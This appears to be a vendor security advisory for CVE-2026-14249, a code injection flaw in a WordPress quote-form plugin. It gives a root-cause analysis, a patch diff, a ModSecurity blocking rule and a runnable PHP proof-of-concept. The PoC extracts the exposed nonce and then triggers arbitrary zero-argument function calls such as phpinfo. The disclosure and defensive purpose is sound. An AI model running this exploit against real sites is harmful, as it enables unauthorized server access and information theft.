Published : July 1, 2026

CVE-2026-14249: Request a Quote Form Plugin <= 2.5.5 Unauthenticated Code Injection via 'path' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 74
Vulnerable Version 2.5.5
Patched Version 2.5.6
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14249:
This vulnerability allows unauthenticated code injection in the Request a Quote plugin for WordPress (versions up to and including 2.5.5). The issue resides in the emd_delete_file() AJAX handler, which dynamically invokes a PHP function based on user-supplied input. The CVSS score is 7.5, indicating high severity.

Root Cause:
The emd_delete_file() function in request-a-quote/includes/common-functions.php (lines 1030-1059) constructs a PHP function name directly from the attacker-controlled $_POST[‘path’] parameter. It derives $myapp = strtolower(preg_replace(‘/_PLUGIN_DIR$/’,”,$path)) and then builds $sess_name = strtoupper($myapp) to call $sess_name() as a variable function. The handler is registered via wp_ajax_nopriv_emd_delete_file, making it accessible to unauthenticated users. Although a nonce check exists, the nonce is exposed on the public quote-form page via wp_localize_script, rendering it ineffective against remote attackers.

Exploitation:
An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=emd_delete_file, nonce=, and path=phpinfo. The handler derives $myapp = ‘phpinfo’ (after removing a non-existent _PLUGIN_DIR suffix) and then calls strtoupper(‘phpinfo’) = ‘PHPINFO’ as a function. Since phpinfo() is a built-in PHP function that takes zero arguments, it executes and exposes server configuration details. The nonce is obtained by first visiting any page containing the quote form, where wp_localize_script prints the nonce in JavaScript.

Patch Analysis:
The patch eliminates the dynamic function call entirely. Instead of deriving $myapp from user input, it hardcodes $myapp = ‘request_a_quote’ in both the upload handler (emd_submit_file_initial) and delete handler (emd_delete_file). It also adds a function_exists() check before invoking $sess_name(). The require_once constant($path) call is replaced with a direct path using the plugin’s own defined constant REQUEST_A_QUOTE_PLUGIN_DIR. File extension validation is strengthened with an explicit allowlist. These changes prevent any arbitrary PHP function execution.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary zero-argument PHP functions. This can expose sensitive server configuration (phpinfo()), delete files (unlink()), execute system commands via shell_exec if enabled, or cause further damage through other built-in functions. The attacker gains no direct database access but can leak credentials, paths, and configurations critical for deeper compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/request-a-quote/assets/ext/filepicker/upload.php
+++ b/request-a-quote/assets/ext/filepicker/upload.php
@@ -26,48 +26,70 @@
 			'min_width' => __('Image requires a minimum width','request-a-quote'),
 			'max_height' => __('Image exceeds maximum height','request-a-quote'),
 			'min_height' => __('Image requires a minimum height','request-a-quote')
-			);
+		);

-		if (!empty($_FILES)) {
-			$upload_file = 1;
+		if (!empty($_FILES) && isset($_FILES['file'])) {
+			$upload_file = 0;
 			// Validate the file type
-			if(!empty($fileTypes))
+			if(empty($fileTypes))
 			{
-				$fileTypes_arr = explode(",",$fileTypes);
-
-				$fileParts = pathinfo($_FILES['file']['name']);
-				if (!in_array(strtolower($fileParts['extension']),$fileTypes_arr)) {
-					$upload_file = 0;
-					echo esc_html__('Invalid file type.','request-a-quote');
-				}
-				else {
-					$upload_file = 1;
-				}
+				$fileTypes_arr = array('jpg', 'jpeg', 'png', 'pdf', 'doc', 'docx', 'zip');
+			}
+			else {
+				$fileTypes_arr = is_array($fileTypes) ? $fileTypes : explode(",", $fileTypes);
+			}
+			$fileTypes_arr = array_map('trim', $fileTypes_arr);
+			$fileTypes_arr = array_map('strtolower', $fileTypes_arr);
+
+			$original_name = $_FILES['file']['name'];
+			$fileParts = pathinfo($original_name);
+			$file_ext = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
+
+			if (empty($file_ext) || !in_array($file_ext, $fileTypes_arr, true)) {
+				echo esc_html__('Invalid file type.', 'request-a-quote');
+				return; // Halt execution immediately
+			}
+			if (strpos(strtolower($original_name), '.php') !== false) {
+				echo esc_html__('Invalid file type signature.', 'request-a-quote');
+				return;
 			}
-
-			if($upload_file == 1){
-				$file = wp_handle_upload($_FILES['file'] , array( 'test_form' => false ) );
-				if(isset($file['error'])){
+			// If it survives all checks above, flag it as safe to upload
+			$upload_file = 1;
+
+			if ($upload_file === 1) {
+				// Sanitize the file name inside the $_FILES array before WordPress touches it
+				$_FILES['file']['name'] = sanitize_file_name($original_name);
+
+				$file = wp_handle_upload($_FILES['file'], array('test_form' => false));
+
+				if (isset($file['error'])) {
 					echo esc_html($file['error']);
-				}
-				else {
+				} else {
 					$_FILES['file']['path'] = $file['file'];
-					if(!empty($myapp)){
-						$new_sess_files = Array();
-						$sess_name = strtoupper($myapp);
-						$session_class = $sess_name();
-						$sess_files = $session_class->session->get('uploads');
-						if(!empty($sess_files) && is_array($sess_files)){
-							$new_sess_files = $sess_files;
-						}
-						if(empty($sess_files[$fieldid])){
-							$new_sess_files[$fieldid][]  = $_FILES['file'];
-						}
-						elseif(is_array($sess_files[$fieldid])){
-							$new_sess_files[$fieldid]  = $sess_files[$fieldid];
-							$new_sess_files[$fieldid][]  = $_FILES['file'];
+
+					if (!empty($myapp)) {
+						$new_sess_files = array();
+
+						// Sanitize $myapp dynamically to prevent arbitrary class instantiation attacks
+						$clean_myapp = preg_replace('/[^a-zA-Z0-9_-]/', '', $myapp);
+						$sess_name = strtoupper($clean_myapp);
+
+						if (function_exists($sess_name)) {
+							$session_class = $sess_name();
+							$sess_files = $session_class->session->get('uploads');
+
+							if (!empty($sess_files) && is_array($sess_files)) {
+								$new_sess_files = $sess_files;
+							}
+
+							if (empty($sess_files[$fieldid])) {
+								$new_sess_files[$fieldid][] = $_FILES['file'];
+							} elseif (is_array($sess_files[$fieldid])) {
+								$new_sess_files[$fieldid] = $sess_files[$fieldid];
+								$new_sess_files[$fieldid][] = $_FILES['file'];
+							}
+							$session_class->session->set('uploads', $new_sess_files);
 						}
-						$session_class->session->set('uploads',$new_sess_files);
 					}
 					echo '1';
 				}
--- a/request-a-quote/includes/common-functions.php
+++ b/request-a-quote/includes/common-functions.php
@@ -164,24 +164,29 @@
 			$search = $query->query_vars['s'];
 			foreach (array_values($set_types) as $ptype) {
 				$pids = apply_filters('emd_limit_by', $pids, $app, $ptype, 'frontend');
-				$diff_pids = array_diff($pids,Array('0'));
+				$diff_pids = array_diff($pids,Array('0'));
+				// Prepare wildcard searching safely
+				// esc_like() ensures literal '%' or '_' in user input doesn't break logic
+				$wildcard_search = '%' . $wpdb->esc_like($search) . '%';
+
 				if(empty($pids)){
-					$input_add .= " UNION (SELECT * FROM " . $wpdb->posts . " WHERE " . $wpdb->posts . ".post_type ='" . $ptype . "' AND " . $wpdb->posts . ".post_status = 'publish' AND ";
+					$input_add .= " UNION (SELECT * FROM " . $wpdb->posts . " WHERE " . $wpdb->posts . ".post_type ='" . esc_sql($ptype) . "' AND " . $wpdb->posts . ".post_status = 'publish' AND ";
 					if($type == 'author'){
 						$input_add .=  $wpdb->posts . ".post_author=" . $auth_id . ")";
 					}
 					elseif($type == 'search'){
-						$input_add .=  "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%' OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
+						$input_add .=  $wpdb->prepare("(" . $wpdb->posts . ".post_title LIKE %s OR " . $wpdb->posts . ".post_content LIKE %s))", $wildcard_search,$wildcard_search);
 					}
 				}
 				elseif(!empty($diff_pids)) {
-					$pids_arr = "(" . implode(",",$pids) . ")";
+					$pids_cleaned = array_map('intval', $pids);
+					$pids_arr = "(" . implode(",", $pids_cleaned) . ")";
 					$input_add .= " UNION (SELECT * FROM " . $wpdb->posts . " WHERE " . $wpdb->posts . ".ID IN " . $pids_arr . " AND ";
 					if($type == 'author'){
 						$input_add .= $wpdb->posts . ".post_author=" . $auth_id . ")";
 					}
 					elseif($type == 'search'){
-						$input_add .=  "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%') OR (" . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
+						$input_add .=  $wpdb->prepare("(" . $wpdb->posts . ".post_title LIKE %s) OR (" . $wpdb->posts . ".post_content LIKE %s))",$wildcard_search,$wildcard_search);
 					}
 				}
 			}
@@ -1018,11 +1023,38 @@
 			echo '<div class="text-danger"><a href="' . wp_get_referer() . '">' . esc_html__('Please refresh the page and try again.', 'request-a-quote') . '</a></div>';
 			die();
 		}
-		$path = sanitize_text_field($_POST['path']);
-		$myapp = strtolower(preg_replace('/_PLUGIN_DIR$/','',$path));
-		require_once constant($path) . 'assets/ext/filepicker/upload.php';
-		$upload_handler = new UploadHandler(true, sanitize_text_field($_POST['field']), sanitize_text_field($_POST['extensions']),$myapp);
-		die();
+		if ( ! defined( 'REQUEST_A_QUOTE_PLUGIN_DIR' ) ) {
+			echo '<div class="text-danger">' . esc_html__('Configuration error.', 'request-a-quote') . '</div>';
+			die();
+		}
+		$myapp = 'request_a_quote';
+		require_once REQUEST_A_QUOTE_PLUGIN_DIR . 'assets/ext/filepicker/upload.php';
+
+		$master_allowed = array('jpg', 'jpeg', 'png', 'pdf', 'doc', 'docx', 'zip');
+
+		$final_extensions = array();
+		if ( ! empty( $_POST['extensions'] ) ) {
+                        // Clean the incoming text field and convert it to an array
+                        $user_input = sanitize_text_field( $_POST['extensions'] );
+                        $user_extensions = explode( ',', $user_input );
+
+                        foreach ( $user_extensions as $ext ) {
+                            $ext = strtolower( trim( $ext ) ); // Normalize
+
+                            if ( in_array( $ext, $master_allowed, true ) ) {
+                                $final_extensions[] = $ext;
+                            }
+                        }
+                }
+
+		if ( empty( $final_extensions ) ) {
+                        $final_extensions = $master_allowed;
+                }
+
+                $field = isset($_POST['field']) ? sanitize_text_field($_POST['field']) : '';
+
+                $upload_handler = new UploadHandler(true, $field, $final_extensions, $myapp);
+                die();
 	}
 }
 if (!function_exists('emd_delete_file')) {
@@ -1030,24 +1062,35 @@
 		$ret = check_ajax_referer('emd_delete_file', 'nonce', false);
 		if ($ret === false) {
 			echo '<div class="text-danger"><a href="' . wp_get_referer() . '">' . esc_html__('Please refresh the page and try again.', 'request-a-quote') . '</a></div>';
-			die();
+			wp_die();
 		}
-		$path = sanitize_text_field($_POST['path']);
-		$myapp = strtolower(preg_replace('/_PLUGIN_DIR$/','',$path));
+		$myapp = 'request_a_quote';
 		$sess_name = strtoupper($myapp);
-		$session_class = $sess_name();
+		if ( function_exists($sess_name) ) {
+			$session_class = $sess_name();
+		} else {
+			echo '<div class="text-danger">' . esc_html__('System configuration error.', 'request-a-quote') . '</div>';
+			wp_die();
+		}
+		if ( ! $session_class || ! isset($session_class->session) ) {
+			echo '<div class="text-danger">' . esc_html__('Session handler unavailable.', 'request-a-quote') . '</div>';
+			wp_die();
+		}
 		$sess_files = $session_class->session->get('uploads');
-		$field = sanitize_text_field($_POST['field']);
-		if(!empty($sess_files[$field])){
-			foreach($sess_files[$field] as $kattch => $myattch){
-				if($myattch['name'] == sanitize_text_field($_POST['del_file'])){
+		$field = isset($_POST['field']) ? sanitize_text_field($_POST['field']) : '';
+		if ( ! empty( $sess_files[$field] ) && isset( $_POST['del_file'] ) ) {
+			$del_file_target = sanitize_text_field($_POST['del_file']);
+
+			foreach ( $sess_files[$field] as $kattch => $myattch ) {
+				if ( isset($myattch['full_path']) && $myattch['full_path'] === $del_file_target ) {
 					unset($sess_files[$field][$kattch]);
 				}
 			}
-			$session_class->session->set('uploads',$sess_files);
+			// Update the user's specific session
+			$session_class->session->set('uploads', $sess_files);
 		}
 		echo 1;
-		die();
+		wp_die();
 	}
 }
 if(!function_exists('emd_get_attachment_layout')){
--- a/request-a-quote/request-a-quote.php
+++ b/request-a-quote/request-a-quote.php
@@ -3,7 +3,7 @@
  * Plugin Name: Request a quote
  * Plugin URI: https://emdplugins.com
  * Description: Request a quote provides an easy to use request a quote form, stores and displays quote requests from customers.
- * Version: 2.5.5
+ * Version: 2.5.6
  * Author: eMarketDesign
  * Author URI: https://emdplugins.com
  * Text Domain: request-a-quote
@@ -83,7 +83,7 @@
 		 * @return void
 		 */
 		private function define_constants() {
-			define('REQUEST_A_QUOTE_VERSION', '2.5.5');
+			define('REQUEST_A_QUOTE_VERSION', '2.5.6');
 			define('REQUEST_A_QUOTE_AUTHOR', 'eMarketDesign');
 			define('REQUEST_A_QUOTE_NAME', 'Request a quote');
 			define('REQUEST_A_QUOTE_PLUGIN_FILE', __FILE__);
@@ -349,4 +349,4 @@
 	return Request_a_quote::instance();
 }
 // Get the Request_a_quote instance
-REQUEST_A_QUOTE();
 No newline at end of file
+REQUEST_A_QUOTE();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261490,phase:2,deny,status:403,chain,msg:'CVE-2026-14249 - Request a Quote plugin code injection via path parameter',severity:'CRITICAL',tag:'CVE-2026-14249'"
  SecRule ARGS_POST:action "@streq emd_delete_file" 
    "chain,t:lowercase"
    SecRule ARGS_POST:path "@rx ^[a-zA-Z_]+$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14249 - Request a Quote Form Plugin <= 2.5.5 - Unauthenticated Code Injection via 'path' Parameter

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$plugin_slug = 'request-a-quote'; // Default plugin directory slug

// Step 1: Get the nonce from a page that has the quote form
$quote_page_url = $target_url . '/quote/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $quote_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to fetch quote page. HTTP code: $http_coden");
}

// Extract nonce from JavaScript (pattern: nonce: '...' or emd_delete_file_nonce: '...')
preg_match('/emd_delete_file_nonce[s]*:[s]*['"]([a-f0-9]+)['"]/i', $response, $matches);
if (!isset($matches[1])) {
    // Try alternative pattern for wp_localize_script
    preg_match('/nonce[s]*:[s]*['"]([a-f0-9]+)['"]/i', $response, $matches);
}

if (!isset($matches[1])) {
    die("Could not extract nonce from page. Ensure the quote form is accessible.n");
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";

// Step 2: Exploit - Call phpinfo via path parameter
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$postData = [
    'action' => 'emd_delete_file',
    'nonce' => $nonce,
    'path' => 'phpinfo', // This will be transformed to PHPINFO() function call
    'field' => 'test',
    'del_file' => 'test.txt'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Exploitation failed. HTTP status code: $http_coden");
}

// Check for phpinfo output (starts with "<!DOCTYPE html" or phpinfo specific HTML)
if (strpos($response, 'PHP License') !== false || strpos($response, 'phpinfo') !== false || strpos($response, 'PHP Version') !== false) {
    echo "[+] SUCCESS! phpinfo executed. Output length: " . strlen($response) . " charactersn";
    // Save to file for inspection
    file_put_contents('phpinfo_output.html', $response);
    echo "[+] Output saved to phpinfo_output.htmln";
} else {
    echo "[-] Exploit sent but no phpinfo output detected. Response preview: " . substr($response, 0, 500) . "n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.